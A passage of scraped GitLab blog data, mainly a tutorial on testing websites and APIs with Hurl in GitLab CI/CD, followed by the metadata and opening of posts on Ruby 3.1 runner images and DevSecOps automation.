is expected to be a string or sentence on the website, for example. If the string does not exist, this can indicate that it was changed unexpectedly, or that the website is down. Let's revisit the example with testing GET https://about.gitlab.com/community/contribute/ and add an expected string `Everyone can contribute` as a new assertion, `body contains \u003Cstring>` is the expected configuration syntax for [body asserts](https://hurl.dev/docs/asserting-response.html#body-assert).\n\n```sh\n$ vim gitlab-contribute.hurl\n\nGET https://about.gitlab.com/community/contribute/\n\nHTTP/2 200\n\n[Asserts]\nbody contains \"Everyone should contribute\"\n\n$ hurl --test gitlab-contribute.hurl\n```\n\n**Exercise:** Fix the test by updating the asserts line to `Everyone can contribute` and run Hurl again.\n\n### Asserting responses: JSON and XML\n\n[JSONPath](https://hurl.dev/docs/asserting-response.html#jsonpath-assert) automatically parses the JSON response (a built-in `jq with curl` parser so to speak), and allows users to compare the value to verify the asserts (more below). The XML format can be found in an [RSS feed on about.gitlab.com](https://about.gitlab.com/atom.xml) and parsed using [XPath](https://hurl.dev/docs/asserting-response.html#xpath-assert). The following example from `atom.xml` should be verified with Hurl:\n\n```xml\n\u003Cfeed xmlns=\"http://www.w3.org/2005/Atom\">\n\u003Ctitle>GitLab\u003C/title>\n\u003Cid>https://about.gitlab.com/blog\u003C/id>\n\u003Clink href=\"https://about.gitlab.com/blog/\"/>\n\u003Cupdated>2022-11-21T00:00:00+00:00\u003C/updated>\n\u003Cauthor>\n\u003Cname>The GitLab Team\u003C/name>\n\u003C/author>\n\u003Centry>\n...\n\u003C/entry>\n\u003Centry>\n...\n\u003C/entry>\n\u003Centry>\n…\n```\n\nIt is important to note that XML namespaces need to be specified for parsing. Hurl allows users to replace the first default namespace with the `_` character to avoid adding `http://www.w3.org/2005/Atom` everywhere, the XPath is now shorter with `string(//_:feed/_:entry)` to get a list of all entries. This value is captured in the `entries` variable, which can be compared to match a specific string, `GitLab` in this example. Additionally, the feed id and author name is checked.\n\n```\n$ vim gitlab-rss.hurl\n\nGET https://about.gitlab.com/atom.xml\n\nHTTP/2 200\n\n[Captures]\nentries: xpath \"string(//_:feed/_:entry)\"\n\n[Asserts]\nvariable \"entries\" matches \"GitLab\"\n\nxpath \"string(//_:feed/_:id)\" == \"https://about.gitlab.com/blog\"\nxpath \"string(//_:feed/_:author/_:name)\" == \"The GitLab Team\"\n\n$ hurl –test gitlab-rss.hurl\n```\n\nHurl allows users to capture the value from responses into [variables](https://hurl.dev/docs/templates.html#variables) that can be used later. This method can also be helpful to model end-to-end testing workflows: First, check the website health status and retrieve a CSRF token, and then try to log into the website by sending the token again.\n\nREST APIs that are expected to always return a specified field, or monitoring a website health state [becomes a breeze using Hurl](https://hurl.dev/docs/tutorial/chaining-requests.html#test-rest-api).\n\n## Use Hurl in GitLab CI/CD jobs\n\nThe easiest way to integrate Hurl into GitLab CI/CD is to use the official container image. The Hurl project provides a [container image on Docker Hub](https://hub.docker.com/r/orangeopensource/hurl), which did not work in CI/CD at first glance. After talking with the maintainers, the [entrypoint override](https://docs.gitlab.com/ee/ci/docker/using_docker_images.html#override-the-entrypoint-of-an-image) was identified as a solution for using the image in GitLab CI/CD. Note that the Alpine based image uses the libcurl library that does not support HTTP/2 yet - the test results are different to a Debian base image (follow [this issue report](https://github.com/Orange-OpenSource/hurl/issues/1082) for the problem analysis).\n\nThe following example is kept short to run the container image, override the entrypoint, and run Hurl with passing in the test using the `echo` CLI command.\n\n```yaml\nhurl-standalone:\n  image:\n    name: ghcr.io/orange-opensource/hurl:latest\n    entrypoint: [\"\"]\n  script:\n    - echo -e \"GET https://about.gitlab.com/community/contribute/\\n\\nHTTP/1.1 200\" | hurl --test --color\n```\n\nThe Hurl test report is printed into the CI/CD job trace log, and returns succesfully.\n\n```sh\n$ echo -e \"GET https://about.gitlab.com/community/contribute/\\n\\nHTTP/1.1 200\" | hurl --test --color\n-: Running [1/1]\n-: Success (1 request(s) in 280 ms)\n--------------------------------------------------------------------------------\nExecuted files:  1\nSucceeded files: 1 (100.0%)\nFailed files:    0 (0.0%)\nDuration:        283 ms\nCleaning up project directory and file based variables\n00:00\nJob succeeded\n```\n\nThe next iteration is to create a CI/CD job template that provides generic attributes, and allows users to dynamically run the job with an environment variable called `HURL_URL`.\n\n```yaml\n# Hurl job template\n.hurl-tmpl:\n  # Use the upstream container image and override the ENTRYPOINT to run CI/CD script\n  # https://docs.gitlab.com/ee/ci/docker/using_docker_images.html#override-the-entrypoint-of-an-image\n  image:\n    name: ghcr.io/orange-opensource/hurl:1.8.0\n    entrypoint: [\"\"]\n  variables:\n    HURL_URL: \"about.gitlab.com/community/contribute/\"\n  script:\n    - echo -e \"GET https://${HURL_URL}\\n\\nHTTP/1.1 200\" | hurl --test --color\n\nhurl-about-gitlab-com:\n  extends: .hurl-tmpl\n  variables:\n    HURL_URL: \"about.gitlab.com/jobs/\"\n```\n\nRunning GET commands with expected HTTP results is not the only use case, and the Hurl maintainers thought about this already. The next section explains how to create a custom container image; you can skip to the [DevSecOps workflows](#devSecOps-workflows-with-hurl) section to learn more about efficient Hurl configuration use cases.\n\n### Custom container image with Hurl\n\nMaintaining and building a custom container image adds more work, but also helps with avoiding running unknown container images in CI/CD pipelines. The latter is often a requirement for compliance and security. _Since the Hurl Debian package supports detecting HTTP/2 as a protocol, this blog post will focus on building a custom image, and run all tests using this image. If you plan on using the upstream container image, make sure to review the test configuration for the HTTP protocol version detection._\n\nThe Hurl documentation provides multiple ways to install Hurl. For this example, Debian 11 Bullseye (slim) is used. Hurl comes with a package dependency on `libxml2` which can either be installed manually with then running the `dpkg` command, or by using `apt install` to install a local package and automatically resolve the dependencies.\n\nThe following CI/CD example uses a job template which defines the Hurl version as environment variable to avoid repetitive use, and downloads and installs the Hurl Debian package. The `hurl-gitlab-com` job extends the CI/CD job template and runs a one-line test against `https://gitlab.com` and expects to return `HTTP/2` as HTTP protocol version, and `200` as status.\n\n```yaml\n# CI/CD job template\n.hurl-tmpl:\n  variables:\n    HURL_VERSION: 1.8.0\n  before_script:\n    - DEBIAN_FRONTEND=noninteractive apt update && apt -y install jq curl ca-certificates\n    - curl -LO \"https://github.com/Orange-OpenSource/hurl/releases/download/${HURL_VERSION}/hurl_${HURL_VERSION}_amd64.deb\"\n    - DEBIAN_FRONTEND=noninteractive apt -y install \"./hurl_${HURL_VERSION}_amd64.deb\"\n\nhurl-gitlab-com:\n  extends: .hurl-tmpl\n  script:\n    - echo -e \"GET https://gitlab.com\\n\\nHTTP/2 200\" | hurl --test --color\n```\n\nThe next section describes how to optimize the CI/CD pipelines for more efficient schedules and runs to monitor websites and not waste too many resources and CI/CD minutes. You can also skip it and [scroll down to more advanced Hurl examples in GitLab CI/CD](#devsecops-workflows-with-hurl).\n\n### CI/CD efficiency: Hurl container image\n\nThe installation steps for Hurl, and its dependencies, can waste resources and increase the pipeline job runtime every time. To make the CI/CD pipelines more efficient, we want to use a container image that already provides Hurl pre-installed. The following steps are required for creating a container image:\n\n- Use Debian 11 Slim (FROM).\n- Install dependencies to download Hurl (`curl`, `ca-certificates`). `jq` is installed for convenience to access it from CI/CD commands when needed later.\n- Download the Hurl Debian package, and use `apt install` to install its dependencies automatically.\n- Clear the apt lists cache to enforce apt update again, and avoid security issues.\n- Hurl is installed into the PATH, specify the default command being run. This allows running the container without having to specify a command.\n\nThe steps to install the packages are separated for better readability; an optimization for the `docker-build` job can happen by chaining the `RUN` commands into one long command.\n\n`Dockerfile`\n```\nFROM debian:11-slim\n\nENV DEBIAN_FRONTEND noninteractive\n\nARG HURL_VERSION=1.8.0\n\nRUN apt update && apt install -y curl jq ca-certificates\nRUN curl -LO \"https://github.com/Orange-OpenSource/hurl/releases/download/${HURL_VERSION}/hurl_${HURL_VERSION}_amd64.deb\"\n# Use apt install to determine package dependencies instead of dpkg\nRUN apt -y install \"./hurl_${HURL_VERSION}_amd64.deb\"\nRUN rm -rf /var/lib/apt/lists/*\n\nCMD [\"hurl\"]\n```\n\nNote that the `HURL_VERSION` variable can be overridden by passing the variable and value into the container build job later. It is intentionally not using an automated script that always uses the [latest release](https://github.com/Orange-OpenSource/hurl/releases) to avoid breaking the behavior, and enforces a controlled upgrade cycle for container images in production.\n\nOn GitLab.com SaaS, you can include the `Docker.gitlab-ci.yml` CI/CD template which will automatically detect the `Dockerfile` file and start building the image using the shared runners, and push it to the [GitLab container registry](https://docs.gitlab.com/ee/user/packages/container_registry/). For self-managed instances or own runners on GitLab.com SaaS, it is recommended to decide whether to use and setup [Docker-in-Docker](https://docs.gitlab.com/ee/ci/docker/using_docker_build.html) or [Kaniko](https://docs.gitlab.com/ee/ci/docker/using_kaniko.html), Podman, or other container image build tools.\n\n```yaml\ninclude:\n  - template: Docker.gitlab-ci.yml\n```\n\nTo avoid running the Docker image build job every time, the job override definition specifies to [run it manually](https://docs.gitlab.com/ee/ci/yaml/#when). You can also use rules to [choose when to run the job](https://docs.gitlab.com/ee/ci/jobs/job_control.html), only when a Git tag is pushed for example.\n\n```yaml\ninclude:\n  - template: Docker.gitlab-ci.yml\n\n# Change Docker build to manual non-blocking\ndocker-build:\n  rules:\n    - if: '$CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH'\n      when: manual\n      allow_failure: true\n```\n\nOnce the container image is pushed to the registry, navigate into `Packages and Registries > Container Registries` and inspect the tagged image. Copy the image path for the latest tagged version and use it for the `image` attribute in the CI/CD job configuration.\n\n### Hurl container image in GitLab CI/CD example\n\nThe full example uses the previously built container image, and specifies the default `HURL_URL` variable. This can later be overridden by job definitions.\n\n_Please note that the image URL `registry.gitlab.com/everyonecancontribute/dev/hurl-playground:latest` is only used for demo purposes and not actively maintained or updated._\n\n```yaml\ninclude:\n  - template: Docker.gitlab-ci.yml\n\n# Change Docker build to manual non-blocking\ndocker-build:\n  rules:\n    - if: '$CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH'\n      when: manual\n      allow_failure: true\n\n# Hurl job template\n.hurl-tmpl:\n  image: registry.gitlab.com/everyonecancontribute/dev/hurl-playground:latest\n  variables:\n    HURL_URL: gitlab.com\n\n# Hurl jobs that check websites\nhurl-dnsmichi-at:\n  extends: .hurl-tmpl\n  variables:\n    HURL_URL: dnsmichi.at\n  script:\n    - echo -e \"GET https://${HURL_URL}\\n\\nHTTP/1.1 200\" | hurl --test --color\n\nhurl-opsindev-news:\n  extends: .hurl-tmpl\n  variables:\n    HURL_URL: opsindev.news\n  script:\n    - echo -e \"GET https://${HURL_URL}\\n\\nHTTP/2 200\" | hurl --test --color\n```\n\nThe CI/CD configuration can further be optimized:\n\n- Create job templates that execute the same scripts and only differ in the `HURL_URL` variable.\n- Use Hurl configuration files that allow specifying variables on the CLI or as environment variables. More on this in the next section.\n\n## DevSecOps workflows with Hurl\n\nHurl allows users to describe HTTP instructions in a configuration file with the `.hurl` suffix. You can add the configuration files to Git, and review and approve changes in merge requests - with the changes run in CI/CD and reporting back any failures before merging.\n\nInspect the `use-cases/` directory in the [example project](https://gitlab.com/everyonecancontribute/dev/hurl-playground), and fork it to make changes and commit and run the CI/CD pipelines and reports. You can also clone the project and run the `tree` command in the terminal.\n\n```sh\n$ tree use-cases\nuse-cases\n├── dnsmichi.at.hurl\n├── gitlab-com-api.hurl\n├── gitlab-contribute.hurl\n└── hackernews.hurl\n```\n\nHurl supports the glob option which collects all configuration files matching a specific pattern.\n\n![Hurl configuration file run](https://about.gitlab.com/images/blogimages/hurl-continuous-website-testing/hurl_multiple_config_files_run.png)\n\n### Chaining requests\n\nSimilar to CI/CD pipelines, jobs, and stages, testing HTTP endpoints with Hurl can require multiple steps. First, ping the website for being reachable, and then try parsing expected results. Separating the requirements into two steps helps to analyze errors.\n\n- HTTP endpoint reachable, but expected string not in response - static website was changed, REST API misses a field, etc.\n- HTTP endpoint is unreachable, don’t try to understand why the follow-up tests fail.\n\nThe following example first sends a ping probe to the dev instance, and a check towards the production environment in the second request.\n\n```sh\n$ vim use-cases/everyonecancontribute-com.hurl\n\nGET https://everyonecancontribute.dev\n\nHTTP/2 200\n\nGET https://everyonecancontribute.com\n\nHTTP/2 200\n$ hurl --test use-cases/everyonecancontribute-com.hurl\n```\n\nIn this scenario, the TLS certificate of the dev instance expired, and Hurl halts the test immediately.\n\n![Hurl chained requests, failing the first test with TLS certificate problems](https://about.gitlab.com/images/blogimages/hurl-continuous-website-testing/hurl_chained_request_fail.png)\n\n### Hurl reports as JUnit test reports\n\nTreat website monitoring and web app tests as unit and end-to-end tests. The Hurl developers thought of that too - the CLI command provides different output options for the report: `--report-junit \u003Coutputpath>` integrates with [GitLab JUnit report](https://docs.gitlab.com/ee/ci/testing/unit_test_reports.html) support into merge requests and pipeline views.\n\nThe following configuration generates a JUnit report file into the value of the `HURL_JUNIT_REPORT` variable. It exists to avoid typing the path three times. The Hurl tests are run from the `use-cases/` directory using a glob pattern.\n\n```yaml\n# Hurl job template\n.hurl-tmpl:\n    image: registry.gitlab.com/everyonecancontribute/dev/hurl-playground:latest\n    variables:\n        HURL_URL: gitlab.com\n        HURL_JUNIT_REPORT: hurl_junit_report.xml\n\n# Hurl tests from configuration file, generating JUnit report integration in GitLab CI/CD\nhurl-report:\n    extends: .hurl-tmpl\n    script:\n      - hurl --test use-cases/*.hurl --report-junit $HURL_JUNIT_REPORT\n    after_script:\n      # Hack: Workaround for 'id' instead of 'name' in JUnit report from Hurl. https://gitlab.com/gitlab-org/gitlab/-/issues/299086\n      - sed -i 's/id/name/g' $HURL_JUNIT_REPORT\n    artifacts:\n      when: always\n      paths:\n        - $HURL_JUNIT_REPORT\n      reports:\n        junit: $HURL_JUNIT_REPORT\n```\n\nThe JUnit format returned by Hurl 1.8.0 defines the `id` attribute, but the GitLab JUnit integration expects the `name` attribute to be present. While writing this blog post, [the problem was discussed](https://github.com/Orange-OpenSource/hurl/issues/1067#issuecomment-1343264751) with the maintainers, and [the `name` attribute was implemented](https://github.com/Orange-OpenSource/hurl/issues/1078) and will be available in future releases. As a workaround with Hurl 1.8.0, the CI/CD [after_script](https://docs.gitlab.com/ee/ci/yaml/#after_script) section uses `sed` to replace the attributes after generating the report.\n\nThe [following example](https://gitlab.com/everyonecancontribute/dev/hurl-playground/-/merge_requests/10) fails on purpose with checking a different HTTP protocol version.\n\n```\nGET https://opsindev.news\n\n# This will fail on purpose\nHTTP/1.1 200\n\n[Asserts]\nbody contains \"Michael Friedrich\"\n```\n\n![Hurl test report in JUnit format integrated into GitLab](https://about.gitlab.com/images/blogimages/hurl-continuous-website-testing/hurl_gitlab_junit_integration_merge_request_widget_overlay.png)\n\nOnce the JUnit integration with Hurl tests from a glob pattern work, you can continue adding new `.hurl` configuration files to the GitLab repository and start testing in MRs, which will require review and approval workflows for production then.\n\n### Web review apps\n\nWebsite monitoring is only one aspect of using Hurl: Testing web applications deployed in review environments in the cloud, and in cloud-native clusters provides a native integration into [DevSecOps](https://about.gitlab.com/topics/devsecops/) workflows. The CI/CD pipelines will fail when Hurl tests are failing, and more insights are provided using merge request widgets reports.\n\n[Cloud Seed](https://docs.gitlab.com/ee/cloud_seed/index.html) provides the ability to deploy a web application to a major cloud provider, for example Google Cloud. After the deployment is successful, additional CI/CD jobs can be configured that verify that the deployed web app version does not introduce a regression, and provides all required data elements, API endpoints, etc. A similar workflow can be achieved by using review app environments with [webservers (Nginx, etc.), Docker, AWS, and Kubernetes](https://docs.gitlab.com/ee/ci/review_apps/#review-apps-examples). The review app [environment URL](https://docs.gitlab.com/ee/ci/environments/#create-a-dynamic-environment) is important for instrumenting the Hurl tests dynamically. The CI/CD variable [`CI_ENVIRONMENT_URL`](https://docs.gitlab.com/ee/ci/variables/predefined_variables.html) is available when `environment:url` is specified in the review app configuration.\n\nThe following example tests the review app for [this blog post when written in a merge request](https://gitlab.com/gitlab-com/www-gitlab-com/-/merge_requests/115548):\n\n```yaml\n# Test review apps with hurl for this blog post.\nhurl-review-test:\n  extends: .review-environment # inherits the environment settings\n  needs: [uncategorized-build-and-review-deploy] # waits until the website (sites/uncategorized) is deployed\n  stage: test\n  rules: # YAML anchor that runs the job only on merge requests\n    - \u003C\u003C: *if-merge-request-original-repo\n  image:\n    name: ghcr.io/orange-opensource/hurl:1.8.0\n    entrypoint: [\"\"]\n  script:\n    - echo -e \"GET ${CI_ENVIRONMENT_URL}\\n\\nHTTP/1.1 200\" | hurl --test --color\n```\n\nThe environment is specified in the [.review-environment job template](https://gitlab.com/gitlab-com/www-gitlab-com/-/blob/91d6fd72a424a3d913e79ebc2aefb23bbab85863/.gitlab-ci.yml#L332) and used to [deploy the website review job](https://gitlab.com/gitlab-com/www-gitlab-com/-/blob/91d6fd72a424a3d913e79ebc2aefb23bbab85863/.gitlab-ci.yml#L532). The relevant configuration snippet is shown here:\n\n```yaml\n.review-environment:\n  variables:\n    DEPLOY_TYPE: review\n  environment:\n    name: review/$CI_COMMIT_REF_SLUG\n    url: https://$CI_COMMIT_REF_SLUG.about.gitlab-review.app\n    on_stop: review-stop\n    auto_stop_in: 30 days\n```\n\nThe deployment of the www-gitlab-com project [uses buckets in Google Cloud](https://gitlab.com/gitlab-com/www-gitlab-com/-/blob/91d6fd72a424a3d913e79ebc2aefb23bbab85863/scripts/deploy) that serve the website content in the review app. There are different types of web applications that require different deployment methods - as long as the environment URL variable is available in CI/CD and the deployment URL is accessible from the GitLab Runner executing the CI/CD job, you can continously test web apps with Hurl!\n\n![Hurl test in GitLab CI/CD for review app environments](https://about.gitlab.com/images/blogimages/hurl-continuous-website-testing/hurl_gitlab_cicd_review_app_environment_tests_www-gitlab-com.png)\n\n## Development tips\n\nUse the [`--verbose` parameter](https://hurl.dev/docs/tutorial/debug-tips.html) to see the full request and response flow. Hurl also provides tips which `curl` command could be run to fetch more data. This can be helpful when starting to use or develop a new REST API, or learning to understand the JSON structure of HTTP responses. Chaining the `curl` command with `jq` (the `curl ... | jq` pattern) can still be helpful to fetch data, and build the HTTP tests in a second terminal or editor window.\n\n```sh\n$ curl -s 'https://gitlab.com/api/v4/projects' | jq\n$ curl -s 'https://gitlab.com/api/v4/projects' | jq -c '.[]' | jq\n\n{\"id\":41375401,\"description\":\"An example project for a GitLab pipeline.\",\"name\":\"Calculator\",\"name_with_namespace\":\"Iva Tee / Calculator\",\"path\":\"calculator\",\"path_with_namespace\":\"snufkins_hat/calculator\",\"created_at\":\"2022-11-26T00:32:33.825Z\",\"default_branch\":\"master\",\"tag_list\":[],\"topics\":[],\"ssh_url_to_repo\":\"git@gitlab.com:snufkins_hat/calculator.git\",\"http_url_to_repo\":\"https://gitlab.com/snufkins_hat/calculator.git\",\"web_url\":\"https://gitlab.com/snufkins_hat/calculator\",\"readme_url\":\"https://gitlab.com/snufkins_hat/calculator/-/blob/master/README.md\",\"avatar_url\":null,\"forks_count\":0,\"star_count\":0,\"last_activity_at\":\"2022-11-26T00:32:33.825Z\",\"namespace\":{\"id\":58849237,\"name\":\"Iva Tee\",\"path\":\"snufkins_hat\",\"kind\":\"user\",\"full_path\":\"snufkins_hat\",\"parent_id\":null,\"avatar_url\":\"https://secure.gravatar.com/avatar/a3efe834950275380d5f19c9b17c922c?s=80&d=identicon\",\"web_url\":\"https://gitlab.com/snufkins_hat\"}}\n```\n\nThe GitLab projects API returns an array of elements, where we can inspect the `id` and `name` attributes for a simple test - the first element’s name must not be empty, the second element’s id needs to be greater than 0.\n\n```sh\n$ vim gitlab-com-api.hurl\n\nGET https://gitlab.com/api/v4/projects\n\nHTTP/2 200\n\n[Asserts]\njsonpath \"$[0].name\" != \"\"\njsonpath \"$[1].id\" > 0\n\n$ hurl --test gitlab-com-api.hurl\n\ngitlab-com-api.hurl: Running [1/1]\ngitlab-com-api.hurl: Success (1 request(s) in 728 ms)\n--------------------------------------------------------------------------------\nExecuted files:  1\nSucceeded files: 1 (100.0%)\nFailed files:    0 (0.0%)\nDuration:        730 ms\n```\n\n## More use cases\n\n- Work with HTTP sessions and [cookies](https://hurl.dev/docs/request.html#cookies), test [forms with parameters](https://hurl.dev/docs/request.html#form-parameters).\n- Review existing API tests of your applications.\n- Build advanced chained workflows with GET, POST, PUT, DELETE, and more HTTP methods.\n- Integrate simple ping/HTTP monitoring health checks into the DevSecOps Platform using alerts and incident management.\n\nIf the Hurl checks cannot be integrated directly inside the project where the application is developed and deployed, another idea could be to create a standalone GitLab project that has CI/CD pipeline schedules enabled. It can continuously run the Hurl tests, and parse the reports or trigger an event when the pipeline is failing, and [create an alert](https://docs.gitlab.com/ee/operations/incident_management/alerts.html) by sending a JSON payload from the Hurl results to the [HTTP endpoint](https://docs.gitlab.com/ee/operations/incident_management/integrations.html#single-http-endpoint). Developers can send MRs to update the Hurl tests, and maintainers review and approve the new test suites being rolled out into production. Alternatively, move the complete CI/CD configuration into a group/project with different permissions, and specify the CI/CD configuration as remote URL in the web application project. This compliance level helps to control who can make changes to important tests and CI/CD configuration.\n\nHurl supports `--json` as parameter to only return the JSON formatted test result and build own custom reports and integrations.\n\n```sh\n$ echo -e \"GET https://about.gitlab.com/teamops/\\n\\nHTTP/2 200\" | hurl --json | jq\n```\n\nFor folks in DevRel, monitoring certain websites for keywords or checking APIs whether values increase a certain threshold can be interesting. Here is an example for monitoring Hacker News using the Algolia search API, inspired by the [Zapier integration used for GitLab Slack](/handbook/marketing/developer-relations/workflows-tools/zapier/#zaps-for-hacker-news). The `QueryStringParams` section allows users to define the query parameters as a readable list, which is easier to modify. The `jsonpath` checks searches for the `hits` key and its count being zero (not on the Hacker News front page means OK in this example).\n\n```\n$ vim hackernews.hurl\n\nGET https://hn.algolia.com/api/v1/search\n[QueryStringParams]\nquery: gitlab\n#query: hurl\ntags: front_page\n\nHTTP/2 200\n\n[Asserts]\njsonpath \"$.hits\" count == 0\n\n$ hurl --test hackernews.hurl\n```\n\n## Limitations\n\nHurl works great for testing websites and web applications that serve static content, and by sending different HTTP request types, data, etc., and ensuring that responses match expectations. Compared to other end-to-end testing solutions (Selenium, etc.), Hurl does not provide a JavaScript engine and only can parse the raw DOM or JSON response. It does not support a DOM managed and rendered by JavaScript front-end frameworks. UI integration tests also need to be performed with different tools, similar to full end-to-end test workflows. Other examples are [accessibility testing](https://docs.gitlab.com/ee/ci/testing/accessibility_testing.html) and [browser performance testing](https://docs.gitlab.com/ee/ci/testing/browser_performance_testing.html). If you are curious how end-to-end testing is done for GitLab, the product, peek into the [development documentation](https://docs.gitlab.com/ee/development/testing_guide/end_to_end/).\n\n## Conclusion\n\nHurl provides an easy way to test HTTP endpoints (such as websites and APIs) in a fast and reliable way. The CLI commands can be integrated into CI/CD workflows, and the configuration syntax and files provide a single source of truth for everything. Additional support for JUnit report formats ensure that website testing is fully integrated into the [DevSecOps](https://about.gitlab.com/topics/devsecops/) platform, and increases visibility and extensibility with automating tests, and monitoring. There are known limitations with dynamic JavaScript websites and advanced UI/end-to-end testing workflows.\n\nHurl is open source, [created and maintained by Orange](https://opensource.orange.com/en/open-source-orange/), and written in Rust. This blog post inspired contributions to the [Debian/Ubuntu installation documentation](https://github.com/Orange-OpenSource/hurl/pull/1084) and [default issue templates](https://github.com/Orange-OpenSource/hurl/pull/1083).\n\n**Tip:** Practice using Hurl on the command line, and remember it when the next production incident shows a strange API behavior with POST requests.\n\nThanks to [Lee Tickett](/company/team/#leetickett-gitlab) who inspired me to test Hurl in GitLab CI/CD and write this blog post after seeing huge interest in a [Twitter share](https://twitter.com/dnsmichi/status/1595820546062778369).\n\nCover image by [Aaron Burden](https://unsplash.com/@aaronburden) on [Unsplash](https://unsplash.com)\n{: .note}\n",[942,1384,4103],{"slug":11566,"featured":6,"template":678},"how-to-continously-test-web-apps-apis-with-hurl-and-gitlab-ci-cd","content:en-us:blog:how-to-continously-test-web-apps-apis-with-hurl-and-gitlab-ci-cd.yml","How To Continously Test Web Apps Apis With Hurl And Gitlab Ci Cd","en-us/blog/how-to-continously-test-web-apps-apis-with-hurl-and-gitlab-ci-cd.yml","en-us/blog/how-to-continously-test-web-apps-apis-with-hurl-and-gitlab-ci-cd",{"_path":11572,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11573,"content":11579,"config":11585,"_id":11587,"_type":16,"title":11588,"_source":17,"_file":11589,"_stem":11590,"_extension":20},"/en-us/blog/new-default-container-image-gitlab-saas-linux-runnners",{"title":11574,"description":11575,"ogTitle":11574,"ogDescription":11575,"noIndex":6,"ogImage":11576,"ogUrl":11577,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11577,"schema":11578},"Using Ruby 3.1 as default on GitLab SaaS Linux runners","Learn about the new image and how to ensure CI job compatibility.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670766/Blog/Hero%20Images/container-reg-cdn-blog.jpg","https://about.gitlab.com/blog/new-default-container-image-gitlab-saas-linux-runnners","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use Ruby 3.1 as the default container image on GitLab SaaS Runners on Linux\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darren Eastman\"}],\n        \"datePublished\": \"2022-12-13\",\n      }",{"title":11580,"description":11575,"authors":11581,"heroImage":11576,"date":11582,"body":11583,"category":734,"tags":11584},"How to use Ruby 3.1 as the default container image on GitLab SaaS Runners on Linux",[5037],"2022-12-13","\nOn January 12, 2023, we will change the [default container](https://docs.gitlab.com/ee/ci/runners/saas/linux_saas_runner.html) image used on GitLab Saas Runners on Linux from Ruby 2.5, which is end of life, to Ruby 3.1.\n\nIf you have specified a container image in your CI/CD job, then there is no impact to you. In other words, your GitLab SaaS CI/CD job will only run in the default container if no image is set for the job in the `.gitlab-ci.yml` pipeline file.\n\nTo check, open the log view of a CI job and note the image used. For example, if you have not added an image to your CI job on GitLab SaaS, then the job log will have the following:\n\n```\nUsing Docker executor with image ruby:2.5 ...\n\n```\n\nIf you have not set a container image in your CI job, then after this change, the job will run in a Ruby 3.1 container.\n\n## How can I check for any build issues on Ruby 3.1?\n\nWhile it is not expected that running a CI/CD job on Ruby 2.5 is incompatible with Ruby 3.1, to check, simply configure the job to run in a Ruby 3.1 container. To do so, edit the `.gitlab-ci.yml` and add the following:\n\n```\ndefault:\n  image: ruby:3.1\n```\n\n## Future plans\n\nIn addition to this change, we plan to [define](https://gitlab.com/gitlab-org/gitlab/-/issues/384992) a new container image maintenance process for GitLab SaaS Runners on Linux. The new policy aims to ensure that the default image used is updated so that it contains the latest security fixes.\n\n_This blog post and linked pages contain information related to upcoming products, features, and functionality. It is important to note that the information presented is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog post and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab Inc._\n\n",[4103,676,1384,1385,232],{"slug":11586,"featured":6,"template":678},"new-default-container-image-gitlab-saas-linux-runnners","content:en-us:blog:new-default-container-image-gitlab-saas-linux-runnners.yml","New Default Container Image Gitlab Saas Linux Runnners","en-us/blog/new-default-container-image-gitlab-saas-linux-runnners.yml","en-us/blog/new-default-container-image-gitlab-saas-linux-runnners",{"_path":11592,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11593,"content":11598,"config":11603,"_id":11605,"_type":16,"title":11606,"_source":17,"_file":11607,"_stem":11608,"_extension":20},"/en-us/blog/how-automation-is-making-devops-pros-jobs-easier",{"title":11594,"description":11595,"ogTitle":11594,"ogDescription":11595,"noIndex":6,"ogImage":6003,"ogUrl":11596,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11596,"schema":11597},"How automation is making DevOps pros’ jobs easier","Six ways automation in a DevSecOps platform aids security, monitoring, compliance, and CI/CD.","https://about.gitlab.com/blog/how-automation-is-making-devops-pros-jobs-easier","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How automation is making DevOps pros’ jobs easier\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2022-12-12\",\n      }",{"title":11594,"description":11595,"authors":11599,"heroImage":6003,"date":11600,"body":11601,"category":962,"tags":11602},[3907],"2022-12-12","\nAs DevOps professionals look for ways to save time, money, and tech muscle as they work to push better and more secure software out the door, they’re increasingly seeing the advantages of automation — and that those advantages seamlessly come with adopting an end-to-end [DevSecOps](/topics/devsecops/) platform. \n\nIn a 2022 GitLab quiz, more than 82% of respondents said automation plays a “vital” role in developing and deploying safer and faster releases. \n\nIt’s clear that DevOps professionals are realizing that automation minimizes the need for a lot of extra hands-on and time-consuming work, like backup, installation, and maintenance. It also can reduce the potential for human error and provide consistency. A DevSecOps platform, unlike a cobbled-together [DIY toolchain](https://page.gitlab.com/resources-ebook-trading-diy-devops-for-a-single-platform.html), offers many advantages, like visibility and collaboration. Another major benefit is that it offers automation for everything from alerts to [testing](/blog/want-faster-releases-your-answer-lies-in-automated-software-testing/) and monitoring.\n\n## Benefits of DevSecOps automation\n\nHere is how automation throughout the software lifecycle could help DevOps teams cut time and money spent on repetitive tasks, eliminate human errors, and streamline the whole DevOps process:\n\n1. Security – A critical benefit of migrating to a full DevSecOps platform is that software won’t simply get a security test at the end of the pipeline – an inefficient, and often costly, feedback system. When [security is shifted left](/blog/efficient-devsecops-nine-tips-shift-left/), if a vulnerability or compliance issue is introduced into the code, it’s identified almost immediately thanks to automated and consistent testing. Automation built into a DevOps platform leads to better software and reduces the time between designing new, higher-quality features and rolling them out into production. And that maximizes the overall return on software development.\n\n2. Compliance – With a single DevSecOps application, [compliance confirmation](/stages-devops-lifecycle/govern/) lives within the platform and is automated. That means professionals can verify the compliance of their code without leaving their workflow, removing the need for compliance managers to require developers to context switch among different point solutions in a DIY toolchain, which can lead to the loss of productivity and efficiency. \n\n3. Configuration – It’s a complicated job to set up, manage, and maintain application environments. [Automated configuration management](/stages-devops-lifecycle/configure/) is designed to handle these complex environments across servers, 